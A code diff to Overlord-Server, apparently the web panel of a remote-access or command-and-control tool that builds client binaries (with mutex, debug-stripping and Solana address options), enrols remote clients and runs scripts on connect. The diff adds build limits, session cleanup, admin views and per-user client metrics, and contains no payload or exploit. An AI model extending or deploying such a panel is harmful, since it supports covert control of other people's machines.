diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index b48b704..06dc20b 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -19,6 +19,7 @@ const solMemoCheckbox = document.getElementById("sol-memo"); const solSettings = document.getElementById("sol-settings"); let currentServerVersion = null; +let currentUserRole = null; async function loadServerVersion() { try { @@ -96,7 +97,6 @@ function saveFormSettings() { solMemo: document.getElementById("sol-memo")?.checked ?? false, solAddress: document.getElementById("sol-address")?.value ?? "", solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "", - outputName: document.getElementById("output-name")?.value ?? "", mutex: document.getElementById("mutex")?.value ?? "", disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false, stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true, @@ -148,7 +148,6 @@ function restoreFormSettings() { if (s.solMemo !== undefined) setCb("#sol-memo", s.solMemo); if (s.solAddress !== undefined) setVal("sol-address", s.solAddress); if (s.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", s.solRpcEndpoints); - if (s.outputName !== undefined) setVal("output-name", s.outputName); if (s.mutex !== undefined) setVal("mutex", s.mutex); if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex); if (s.stripDebug !== undefined) setCb('input[name="strip-debug"]', s.stripDebug); @@ -829,6 +828,7 @@ async function init() { } const data = await res.json(); + currentUserRole = data.role; usernameDisplay.textContent = data.username; const roleBadges = { @@ -886,6 +886,20 @@ async function init() { await loadServerVersion(); await loadSavedBuilds(); + + const toggleAllBuildsBtn = document.getElementById("toggle-all-builds-btn"); + const toggleAllBuildsLabel = document.getElementById("toggle-all-builds-label"); + if (toggleAllBuildsBtn && currentUserRole === "admin") { + toggleAllBuildsBtn.classList.remove("hidden"); + toggleAllBuildsBtn.addEventListener("click", async () => { + showAllBuilds = !showAllBuilds; + if (toggleAllBuildsLabel) { + toggleAllBuildsLabel.textContent = showAllBuilds ? "My Builds" : "Show All"; + } + buildFilesDiv.innerHTML = ""; + await loadSavedBuilds(); + }); + } } catch (err) { console.error("Failed to fetch user info:", err); window.location.href = "/"; @@ -1431,9 +1445,12 @@ function removeBuildFromStorage(buildId) { } } +let showAllBuilds = false; + async function loadSavedBuilds() { try { - const res = await fetch("/api/build/list", { + const queryParam = showAllBuilds && currentUserRole === "admin" ? "?all=true" : ""; + const res = await fetch(`/api/build/list${queryParam}`, { credentials: "include", }); diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js index 016f73d..ea28330 100644 --- a/Overlord-Server/public/assets/settings.js +++ b/Overlord-Server/public/assets/settings.js @@ -830,6 +830,7 @@ async function wipeOfflineClients() { const sessionsTableBody = document.getElementById("sessions-table-body"); const sessionsMessage = document.getElementById("sessions-message"); const refreshSessionsBtn = document.getElementById("refresh-sessions-btn"); +const removeInactiveSessionsBtn = document.getElementById("remove-inactive-sessions-btn"); function parseUserAgent(ua) { if (!ua) return "Unknown"; @@ -905,7 +906,7 @@ async function loadSessions() { ${escapeHtml(s.ip || "—")} ${escapeHtml(parseUserAgent(s.userAgent))} - ${formatDate(s.createdAt)} + ${formatDate(s.createdAt * 1000)} ${formatRelativeTime(s.lastActivity)} ${statusLabel}${currentBadge} @@ -972,6 +973,32 @@ async function handleRevokeSessionClick(event) { } } +async function handleRemoveInactiveSessions() { + if (!confirm("Remove all expired and revoked sessions?")) return; + + if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.disabled = true; + + try { + const res = await fetch("/api/sessions/inactive", { + method: "DELETE", + credentials: "include", + }); + + const data = await res.json().catch(() => ({})); + if (!res.ok) { + showSessionsMessage(data.error || "Failed to remove inactive sessions", "error"); + return; + } + + showSessionsMessage(`Removed ${data.removed || 0} inactive session(s)`); + await loadSessions(); + } catch { + showSessionsMessage("Request failed", "error"); + } finally { + if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.disabled = false; + } +} + async function init() { try { await loadCurrentUser(); @@ -1020,6 +1047,7 @@ async function init() { await loadSessions(); if (refreshSessionsBtn) refreshSessionsBtn.addEventListener("click", loadSessions); + if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.addEventListener("click", handleRemoveInactiveSessions); if (sessionsTableBody) sessionsTableBody.addEventListener("click", handleRevokeSessionClick); } catch (error) { console.error("settings init failed", error); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 1fc2d4e..d78f291 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -596,9 +596,19 @@ diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html index 13162aa..409ce71 100644 --- a/Overlord-Server/public/settings.html +++ b/Overlord-Server/public/settings.html @@ -261,6 +261,13 @@ > Refresh +
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index 534d58f..ba1b21e 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -1005,6 +1005,94 @@ export function getClientMetricsSummary(): ClientMetricsSummary { }; } +export function getClientMetricsSummaryForUser(userId: number): ClientMetricsSummary { + const filter = `WHERE built_by_user_id = ?`; + + const counts = db + .query<{ total: number; online: number }>( + `SELECT COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients ${filter}`, + ) + .get(userId) ?? { total: 0, online: 0 }; + + const osRows = db + .query<{ key: string; total: number; online: number }>( + `SELECT + COALESCE(NULLIF(os, ''), 'unknown') as key, + COUNT(*) as total, + SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online + FROM clients ${filter} + GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`, + ) + .all(userId); + + const countryRows = db + .query<{ key: string; total: number; online: number }>( + `SELECT + COALESCE(NULLIF(country, ''), 'ZZ') as key, + COUNT(*) as total, + SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online + FROM clients ${filter} + GROUP BY COALESCE(NULLIF(country, ''), 'ZZ')`, + ) + .all(userId); + + const byOS: Record = {}; + const byOSOnline: Record = {}; + for (const row of osRows) { + byOS[row.key] = Number(row.total) || 0; + byOSOnline[row.key] = Number(row.online) || 0; + } + + const byCountry: Record = {}; + const byCountryOnline: Record = {}; + for (const row of countryRows) { + byCountry[row.key] = Number(row.total) || 0; + byCountryOnline[row.key] = Number(row.online) || 0; + } + + return { + total: Number(counts.total) || 0, + online: Number(counts.online) || 0, + byOS, + byCountry, + byOSOnline, + byCountryOnline, + }; +} + +export function countBuildsForUser(userId: number): number { + const row = db + .query<{ c: number }>(`SELECT COUNT(*) as c FROM builds WHERE built_by_user_id = ?`) + .get(userId); + return row?.c ?? 0; +} + +export function getOldestBuildForUser(userId: number): BuildRecord | null { + const row = db + .query(`SELECT * FROM builds WHERE built_by_user_id = ? ORDER BY start_time ASC LIMIT 1`) + .get(userId); + if (!row) return null; + return { + id: row.id, + status: row.status, + startTime: row.start_time, + expiresAt: row.expires_at, + files: JSON.parse(row.files), + buildTag: row.build_tag || undefined, + builtByUserId: row.built_by_user_id || undefined, + }; +} + +export function deleteInactiveSessions(userId: number): number { + const now = Math.floor(Date.now() / 1000); + const result = db.run( + `DELETE FROM sessions WHERE user_id = ? AND (revoked = 1 OR expires_at <= ?)`, + userId, + now, + ); + return result.changes; +} + export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once"; export type AutoScript = { diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts index 624f8a1..d745abc 100644 --- a/Overlord-Server/src/server/routes/auth-routes.ts +++ b/Overlord-Server/src/server/routes/auth-routes.ts @@ -15,6 +15,7 @@ import { hashTokenForSession, persistRevokedTokenHash, getSessionById, + deleteInactiveSessions, } from "../../db"; import { logger } from "../../logger"; import { @@ -187,6 +188,27 @@ export async function handleAuthRoutes( }); } + if (req.method === "DELETE" && url.pathname === "/api/sessions/inactive") { + const user = await authenticateRequest(req); + if (!user) { + return Response.json({ error: "Not authenticated" }, { status: 401 }); + } + + const removed = deleteInactiveSessions(user.userId); + + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.LOGOUT, + details: `Removed ${removed} inactive session(s)`, + success: true, + }); + + return Response.json({ ok: true, removed }); + } + if (req.method === "GET" && url.pathname.match(/^\/api\/users\/\d+\/sessions$/)) { const user = await authenticateRequest(req); if (!user) { diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 26288c7..aefd91b 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -4,7 +4,7 @@ import { authenticateRequest } from "../../auth"; import { AuditAction, logAudit } from "../../auditLog"; import * as buildManager from "../../build/buildManager"; import * as clientManager from "../../clientManager"; -import { deleteBuild, getAllBuilds, getBuild } from "../../db"; +import { deleteBuild, getAllBuilds, getBuild, countBuildsForUser, getOldestBuildForUser } from "../../db"; import { encodeMessage } from "../../protocol"; import { metrics } from "../../metrics"; import { requirePermission } from "../../rbac"; @@ -180,6 +180,30 @@ export async function handleBuildRoutes( const buildId = uuidv4(); const ip = server.requestIP(req)?.address || "unknown"; + // Enforce max 10 builds per user — auto-delete oldest when limit exceeded + const MAX_BUILDS_PER_USER = 10; + const currentCount = countBuildsForUser(user.userId); + if (currentCount >= MAX_BUILDS_PER_USER) { + const oldest = getOldestBuildForUser(user.userId); + if (oldest) { + if (oldest.files) { + const rootDir = resolveRuntimeRoot(); + const outDir = path.join(rootDir, "dist-clients"); + for (const file of oldest.files) { + try { + const fp = path.join(outDir, file.filename); + if (fs.existsSync(fp)) { + fs.unlinkSync(fp); + } + } catch {} + } + } + buildManager.deleteBuildStream(oldest.id); + deleteBuild(oldest.id); + logger.info(`[build:limit] Auto-deleted oldest build ${oldest.id.substring(0, 8)} for user ${user.username} (limit: ${MAX_BUILDS_PER_USER})`); + } + } + logAudit({ timestamp: Date.now(), username: user.username, @@ -324,7 +348,10 @@ export async function handleBuildRoutes( if (req.method === "GET" && url.pathname === "/api/build/list") { requirePermission(user, "clients:build"); - const builds = getAllBuilds(user.userId, user.role); + const showAll = url.searchParams.get("all") === "true" && user.role === "admin"; + const builds = showAll + ? getAllBuilds(undefined, "admin") + : getAllBuilds(user.userId, user.role === "admin" ? "operator" : user.role); return Response.json({ builds }); } diff --git a/Overlord-Server/src/server/routes/enrollment-routes.ts b/Overlord-Server/src/server/routes/enrollment-routes.ts index 87c5998..f59dd4c 100644 --- a/Overlord-Server/src/server/routes/enrollment-routes.ts +++ b/Overlord-Server/src/server/routes/enrollment-routes.ts @@ -16,6 +16,18 @@ import { logAudit, AuditAction } from "../../auditLog"; import * as clientManager from "../../clientManager"; import { setOnlineState } from "../../db"; import { requirePermission } from "../../rbac"; +import { getUserClientAccessScope, setUserClientAccessScope, setUserClientAccessRule } from "../../users"; + +function grantClientAccess(userId: number, role: string, clientId: string): void { + if (role === "admin") return; + const currentScope = getUserClientAccessScope(userId); + if (currentScope === "none") { + setUserClientAccessScope(userId, "allowlist"); + } + if (currentScope === "none" || currentScope === "allowlist") { + setUserClientAccessRule(userId, clientId, "allow"); + } +} function getClientScopeFilters(userId: number, role: string): { allowedClientIds?: string[]; @@ -118,6 +130,8 @@ export async function handleEnrollmentRoutes( setClientEnrollmentStatus(clientId, "approved", user.username); + grantClientAccess(user.userId, user.role, clientId); + _postApproveHook?.(clientId); logAudit({ @@ -261,6 +275,7 @@ export async function handleEnrollmentRoutes( if (ok) { updated++; if (action === "approve") { + grantClientAccess(user.userId, user.role, id); _postApproveHook?.(id); } } diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index 63ce47a..8a2ac3a 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -1,7 +1,7 @@ import { authenticateRequest } from "../../auth"; import { AuditAction, getAuditLogs, logAudit } from "../../auditLog"; import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, getExportableConfig, importFullConfig } from "../../config"; -import { getClientMetricsSummary } from "../../db"; +import { getClientMetricsSummary, getClientMetricsSummaryForUser } from "../../db"; import { metrics } from "../../metrics"; import { requirePermission } from "../../rbac"; import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess } from "../../users"; @@ -40,7 +40,9 @@ export async function handleMiscRoutes( const snapshot = metrics.getSnapshot(); - const clientSummary = getClientMetricsSummary(); + const clientSummary = user.role === "admin" + ? getClientMetricsSummary() + : getClientMetricsSummaryForUser(user.userId); snapshot.clients.total = clientSummary.total; snapshot.clients.online = clientSummary.online; snapshot.clients.offline = clientSummary.total - clientSummary.online;